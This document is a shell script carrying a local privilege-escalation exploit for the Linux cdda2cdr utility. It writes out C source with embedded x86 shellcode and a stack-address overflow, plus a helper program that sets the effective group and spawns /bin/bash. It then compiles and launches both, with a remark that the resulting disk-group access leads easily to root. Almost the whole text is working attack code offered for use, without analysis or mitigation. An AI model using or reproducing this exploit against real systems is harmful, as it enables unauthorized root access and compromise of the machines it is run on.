Linux x86 cdda2cdr local disk exploit

                                                cat > /tmp/cdda2x.c <<EOF

/**
 ** Linux x86 cdda2cdr local disk exploit
 ** gcc -o inj3ct0r inj3ct0r.c inj3ct0r <offset> <bufsiz>
 **/

#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/tmp/cd";

#define LEN 500
#define NOP 0x90
unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

void main(int argc, char *argv[]) {

int offset=0;

int i;

int buflen = LEN;

long int addr;

char buf[LEN];

 if(argc > 3) {

  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);

 exit(0);

 }

 else if (argc == 2){

   offset=atoi(argv[1]);

 }

 else if (argc == 3) {

   offset=atoi(argv[1]);

   buflen=atoi(argv[2]);

 }

 else {

   offset=500;

   buflen=500;

 }

addr=get_sp();

fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);

/*

for (i=0; i < strlen(buf); i++) putchar(buf[i]);

*/

}

EOF

cat > /tmp/cd.c <<EOF

void main() { 

    setregid(getegid(), getegid());

    system("/bin/bash");

}

EOF
gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x